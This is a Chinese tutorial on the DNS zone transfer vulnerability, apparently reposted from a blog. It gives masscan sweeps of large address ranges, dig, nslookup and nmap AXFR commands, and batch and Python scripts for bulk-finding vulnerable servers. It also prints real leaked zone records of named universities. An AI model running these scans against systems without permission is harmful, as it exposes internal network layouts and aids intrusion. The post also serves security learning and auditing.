DNS域传送漏洞的收集、检测与利用
来源:互联网 发布:潍坊行知学校招生简章 编辑:程序博客网 时间:2024/06/07 01:30
一. DNS域传送
DNS :Domain Name System
一个保存IP地址和域名相互映射关系的分布式数据库,重要的互联网基础设施,默认使用的TCP/UDP端口号是53
常见DNS记录类型:
A IP地址记录,记录一个域名对应的IP地址AAAA IPv6 地址记录,记录一个域名对应的IPv6地址CNAME 别名记录,记录一个主机的别名 MX 电子邮件交换记录,记录一个邮件域名对应的IP地址,如root@xxxx.comNS 域名服务器记录 ,记录该域名由哪台域名服务器解析PTR 反向记录,也即从IP地址到域名的一条记录TXT 记录域名的相关文本信息
域传送 :DNS Zone Transfer
DNS服务器分为:主服务器、备份服务器和缓存服务器。
域传送是指后备服务器从主服务器拷贝数据,并用得到的数据更新自身数据库。
在主备服务器之间同步数据库,需要使用“DNS域传送”。
二. 收集
ps: 收集dns服务器,推测出网段与解析的域,从而检测DNS是否存在域传送漏洞。学习研究用得到,手工比较麻烦,仅列出来当作一种方法。
1. 利用网络空间搜索引擎收集域名服务器
shodan
zoomeye
fofa
注: 还没研究过如何从以上搜索引擎中批量爬取或下载搜索结果。
2. 利用MasScan收集dns服务器
MasScan
安装:
On Debian/Ubuntu:
sudo apt-get install git gcc make libpcap-devgit clone https://github.com/robertdavidgraham/masscancd masscanmake
On Centos:
sudo yum install git gcc make libpcap-develgit clone https://github.com/robertdavidgraham/masscancd masscanmake
扫描网段
./bin/masscan -p:53 -oX ns.xml --rate 160000 101.0.0.0-110.0.0.0
获得开放53端口的潜在漏洞DNS服务器对象。
ns.xml结果去重
from lxml import etreeport = Noneaddress = NoneparsedServers = []#Opens the file used to store single enteries.outputFile = open('ns.txt', 'a')for event, element in etree.iterparse('ns.xml', tag="host"): for child in element: if child.tag == 'address': address = child.attrib['addr'] if child.tag == 'ports': for a in child: port = a.attrib['portid'] if port > 1 and address > 1: if address not in parsedServers: print address outputFile.write(address + '\n') parsedServers.append(address) port = None address = None element.clear()outputFile.close()print 'End'
3. 目标针对
针对某个目标域名,查询目标所处域dns服务器是否有域传送漏洞,从而获得横向渗透的机会和更多的可能性。见下文:
nslookup结合dig的科学利用
4. 后人乘凉
前人已经栽好树了,我们只需要找到树,就可乘凉了。收集好的dns服务器与域名:传送门
三. 检测与利用
原理
DNS服务器配置不当,导致匿名用户利用DNS域传送协议获取某个域的所有记录。通过可以实现DNS域传送协议的程序,尝试匿名进行DNS域传送,获取记录。
危害
网络拓扑结构泄露给潜在的攻击者,包括一些安全性较低的内部主机,如测试服务器等。直接加快、助长攻击者的入侵过程。
检测与利用
1. nslookup
基本过程
1) 输入nslookup命令进入交互式shell;2) server 命令参数设定查询将要使用的DNS服务器;3) ls命令列出某个域中的所有域名;4) exit命令退出
失败例子
ps: 貌似现在域传送漏洞不太好找了
> nslookupDNS request timed out. timeout was 2 seconds.默认服务器: UnKnownAddress: 114.114.114.114> server ss2.bjfu.edu.cn默认服务器: ss2.bjfu.edu.cnAddress: 202.204.112.67> ls bjfu.edu.cn[ss2.bjfu.edu.cn]*** 无法列出域 bjfu.edu.cn: Query refusedDNS 服务器拒绝将区域 bjfu.edu.cn 传送到你的计算机。如果这不正确,请检查 IP 地址 202.204.112.67 的 DNS 服务器上 bjfu.edu.cn 的区域传送安全设置。
成功例子
ps:部分结果已隐去
> nslookup默认服务器: public1.114dns.comAddress: 114.114.114.114> server ring.cugb.edu.cn默认服务器: ring.cugb.edu.cnAddress: 202.204.105.1> ls cugb.edu.cn[ring.cugb.edu.cn] cugb.edu.cn. NS server = ring.cugb.edu.cn cugb.edu.cn. A 127.0.0.1 acm A 121.194.86.2 bbs A 202.204.105.172 bm A 202.204.105.179 bsbm A 202.204.105.17 bslt A 202.204.109.241 cas A 202.204.105.97 ce A 202.204.99.249 chushi A 202.204.105.243 cj A 202.204.96.111 cms A 202.204.105.179 computer A 202.204.96.202 csc A 202.204.97.60 cugblx A 202.204.105.173.... yx A 202.204.105.179 zhsh A 202.204.105.198 zzb A 202.204.105.243>
非交互式方法
为了避免和nslookup交换,可以编写一个ls.bat
echo ls %1 | nslookup – %2
%1代表第一个参数,即xxx.edu.cn
%2代表第二个参数,即dns.xxx.edu.cn
echo是回声命令,原文输出传入的参数内容
测试dns.xxx.edu.cn服务器,可以执行命令
ls.bat xxx.edu.cn dns.xxx.edu.cn
2. nmap
nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=xxx.edu.cn -p 53 -Pn dns.xxx.edu.cn
dns-zone-transfer.domain参数 指定要查询的域;dns.xxx.edu.cn 为指定的查询域名服务器
成功的话会如下所示,列出了指定域中所有的记录(如果端口屏蔽,就查不出了,不太实用)。
> nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=hzmc.edu.cn -p 53 -Pn dns.hzmc.edu.cnStarting Nmap 7.10 ( https://nmap.org ) at ****Nmap scan report for dns.hzmc.edu.cn (211.86.0.1)Host is up (0.38s latency).PORT STATE SERVICE53/tcp open domain| dns-zone-transfer:| hzmc.edu.cn. SOA ns.hzmc.edu.cn. root.ns.hzmc.edu.cn.| hzmc.edu.cn. NS ns.hzmc.edu.cn.| hzmc.edu.cn. NS dns.hzmc.edu.cn.| hzmc.edu.cn. A 211.86.0.1| hzmc.edu.cn. MX 10 ns.hzmc.edu.cn.| dns.hzmc.edu.cn. A 211.86.0.1| ftp.hzmc.edu.cn. CNAME dns.hzmc.edu.cn.| www.jwc.hzmc.edu.cn. A 211.86.3.182| www.lib.hzmc.edu.cn. A 211.86.3.38| www.spdb.hzmc.edu.cn. A 211.86.0.3| www.hzmc.edu.cn. A 211.86.0.4| www.yzzp.hzmc.edu.cn. A 211.86.0.8| www.zwc.hzmc.edu.cn. A 211.86.2.200|_hzmc.edu.cn. SOA ns.hzmc.edu.cn. root.ns.hzmc.edu.cn.Nmap done: 1 IP address (1 host up) scanned in 20.43 seconds
3. dig
windows免安装版dig下载地址: Windows绿色版dig工具
使用命令:
dig @dns.xxx.edu.cn axfr xxx.edu.cn
@指定域名服务器;axfr 为域传送指令;xxx.edu.cn表示要查询的域名;
成功测试
ps:部分结果已隐去
> dig @ring.cugb.edu.cn axfr cugb.edu.cn; <<>> DiG 9.11.0-P1 <<>> @ring.cugb.edu.cn axfr cugb.edu.cn; (1 server found);; global options: +cmdcugb.edu.cn. 86400 IN SOA ring.cugb.edu.cn. root.cugb.edu.cn. 20130504 86400 3600 604800 10800cugb.edu.cn. 86400 IN TXT "v=spf1 ip4:202.204.105.6/24 ~all"cugb.edu.cn. 86400 IN NS ring.cugb.edu.cn.cugb.edu.cn. 86400 IN MX 5 mail.cugb.edu.cn.cugb.edu.cn. 86400 IN A 127.0.0.1cugb.edu.cn. 86400 IN AAAA ::1acm.cugb.edu.cn. 86400 IN A 121.194.86.2bbs.cugb.edu.cn. 86400 IN A 202.204.105.172bm.cugb.edu.cn. 86400 IN A 202.204.105.179....zhsh.cugb.edu.cn. 86400 IN A 202.204.105.198zzb.cugb.edu.cn. 86400 IN A 202.204.105.243cugb.edu.cn. 86400 IN SOA ring.cugb.edu.cn. root.cugb.edu.cn. 20130504 86400 3600 604800 10800;; Query time: 46 msec;; SERVER: 202.204.105.1#53(202.204.105.1);; WHEN: ****;; XFR size: 114 records (messages 1, bytes 2562)
dig的批处理利用 For Windows
不想偷懒的学生不是好司机。
建立文件: .LandGrey-Dns-Zone-Transfer-Scan.bat(提供下载链接: LandGrey-Dns-Zone-Transfer-Scan.bat)
写入以下内容:
@echo offRem Build By LandGreytitle Dns Zone Transfer Scanecho +++++++++++++++++++++++++++++ LandGrey Dns Zone Transfer Scan bat +++++++++++++++++++++++++++++ for /f "tokens=1,2 delims= " %%i in (%cd%/dns-zone-transfer/hostlist.txt) do echo Scanning %%j & %cd%\dig.exe @%%i axfr %%j>> %cd%/dns-zone-transfer/ScanResults.txt
必要的解释
整个批处理主要是for循环一行一行的读取当前目录下的“/dns-zone-transfer/hostlist.txt”文件,进行工作;
%cd% 代表bat文件当前目录;
delims= 指定分隔符;表示读取的一行文本以空格来分隔; 当然,也可以自己修改分隔符;
tokens=1,2 表示取以分隔符分隔的第一个和第二个元素;
do后面是具体做的事: 一边提示正在扫描的域名,一边扫描域传送漏洞;
ps: 在批处理中,%%i用来代指第一个元素,根据字母顺序(i,j,k…),%%j指代第二个元素,以此类推;
dig.exe @%%i axfr %%j 即dig @dns.xxx.edu.cn axfr xxx.edu.cn的替换模版;
这就要求hostlist.txt文件中的书写格式应该为:“[dns-server] [domain]”,类似于如下的形式:
dns.xxx.edu.cn xxx.edu.cn
%cd%\dig.exe 表示 .LandGrey-Dns-Zone-Transfer-Scan.bat文件要与dig.exe放在同一个目录下;
最后查询结果全部保存在当前目录下的“/dns-zone-transfer/ScanResults.txt”文件中;
nslookup结合dig的科学利用
不想的开好车的学生不是老司机。
如果获得了目标域名,并不清楚目标的主dns服务器时,可以通过用如下的nslookup语句,先查询目标域名的主dns服务器,然后再用dig进行DNS域传送检测,最后用python脚本实现。
> nslookup -type=ns landgrey.cn服务器: public1.114dns.comAddress: 114.114.114.114非权威应答:landgrey.cn nameserver = dns9.hichina.comlandgrey.cn nameserver = dns10.hichina.com
单个查询(实用)
提供下载地址: dztester
#!/usr/bin/env python# coding:utf-8## Build by LandGrey 2016-12-03#import reimport osimport sysdef dns_zone_tranfer_finder(domain): print '[+] Nslookup %s' % domain cmd_res = os.popen('nslookup -type=ns ' + domain).read() # fetch DNS Server List dns_servers = re.findall('nameserver = ([\w\.]+)', cmd_res) if len(dns_servers) == 0: print '[+] No DNS Server Found!\n' exit(0) for singledns in dns_servers: print '[+] Using @%s' % singledns cmd_res = os.popen('dig @%s axfr %s' % (singledns, domain)).read() # print cmd_res if cmd_res.find('XFR size') > 0: print '[+] Vulnerable dns server found:', singledns print cmd_res else: print '[+] No Vulnerable found'def usage(): print '[+] Usage: python DZT-tester.py [domain]\n'if __name__ == "__main__": if len(sys.argv) != 2: usage() elif '-h' in sys.argv[1]: usage() else: domain = sys.argv[1] print '[+] Test %s' % domain dns_zone_tranfer_finder(domain) print '[+] Finished!'
使用方式:
python dztester.py [domain]
批量查询
*脚本同一目录下应有‘dns-zone-transfer’目录;‘dns-zone-transfer’目录下有‘dns’子目录;
*要检测的域名列表存放在‘dns-zone-transfer\domain.txt’中,一行一个。
*结果存储在‘dns-zone-transfer\dns’目录和‘dns-zone-transfer\vulnerable_hosts.txt’文件中。
# coding:utf-8import reimport osimport sysimport threadingdef dns_zone_tranfer_finder(): global c_index while True: lock.acquire() if c_index >= len(DomainLists): lock.release() break domain = DomainLists[c_index].lstrip('www.') c_index += 1 lock.release() cmd_res = os.popen('nslookup -type=ns ' + domain).read() # fetch DNS Server List dns_servers = re.findall('nameserver = ([\w\.]+)', cmd_res) for server in dns_servers: if len(server) < 5: server += domain cmd_res = os.popen('dig @%s axfr %s +short' % (server, domain)).read() if cmd_res.find('XFR size') > 0 \ and cmd_res.find('Transfer failed.') < 0 \ and cmd_res.find('connection timed out') < 0: lock.acquire() print '*' * 10 + ' Vulnerable dns server found:', server, '*' * 10 lock.release() with open(os.path.join(currentdir, 'dns-zone-transfer', 'vulnerable_hosts.txt'), 'a') as f: f.write('%s %s\n' % (server.ljust(30), domain)) with open(os.path.join(currentdir, 'dns-zone-transfer', 'dns', server + '.txt'), 'w') as f: f.write(cmd_res)if __name__ == "__main__": currentdir = os.path.dirname(sys.argv[0]) target = open(os.path.join(currentdir, 'dns-zone-transfer', 'domain.txt')) DomainLists = [] for host in target.readlines(): DomainLists.append(host) print u'采集 %d 个...' % len(DomainLists) threads = [] c_index = 0 lock = threading.Lock() for i in range(10): t = threading.Thread(target=dns_zone_tranfer_finder) t.start() threads.append(t) for t in threads: t.join() print 'All Done!'
漏洞存在标识主要是dig命令结果中出现特征字符串“XFR size”;
运行起来类似下面这样:
********** Vulnerable dns server found: nknu.nknu.edu.tw ******************** Vulnerable dns server found: ns2.ntnu.edu.tw ******************** Vulnerable dns server found: ns2.must.edu.mo **********All Done!
四. 后记
感谢前辈的文章与辛勤奉献!
本文作技术研究使用,切勿用本文中的方法违法犯罪!
参考文章:
李劼杰DNS域传送漏洞系列博客
lijiejie Github edu-dns-zone-transfer
NTP放大攻击 Mascan扫描
- DNS域传送漏洞的收集、检测与利用
- DNS域传送漏洞利用
- DNS域传送漏洞
- DNS域传送漏洞
- 什么是DNS域传送泄露漏洞
- DNS漏洞的批量利用
- DNS zone transfer vulnerability(域传送漏洞)批量扫描
- 《安卓Webview漏洞的检测与利用》
- 利用DNS漏洞攻击的Ruby代码
- 域传送漏洞总结
- dns cache漏洞利用动画
- 检测是否有dns cache漏洞
- DNS域传送信息泄露
- DNS域传输漏洞
- 基于流量的CVE-2014-0160漏洞利用检测方法
- 利用DNS Zone Transfers漏洞工具dnswalk
- CSRF漏洞的挖掘与利用
- 收集来的漏洞
- http发post请求 返回错误500a
- JS--焦点
- java线程同步简单介绍
- git学习的一些指令
- SAP 采购订单上的总账科目如何自动带出来
- DNS域传送漏洞的收集、检测与利用
- AndroidStudio中编译异常: **.apk does not exist on disk.Error while Installing APK
- VHDL初学者的建议
- kmp--剪画布条
- COM思想学习---把接口从实现中分离出来
- Oracle OCP笔记(34)Oracle的特殊功能函数
- WebRTC APM音频处理流程概述
- 对js原型的理解
- 常用Python第三方库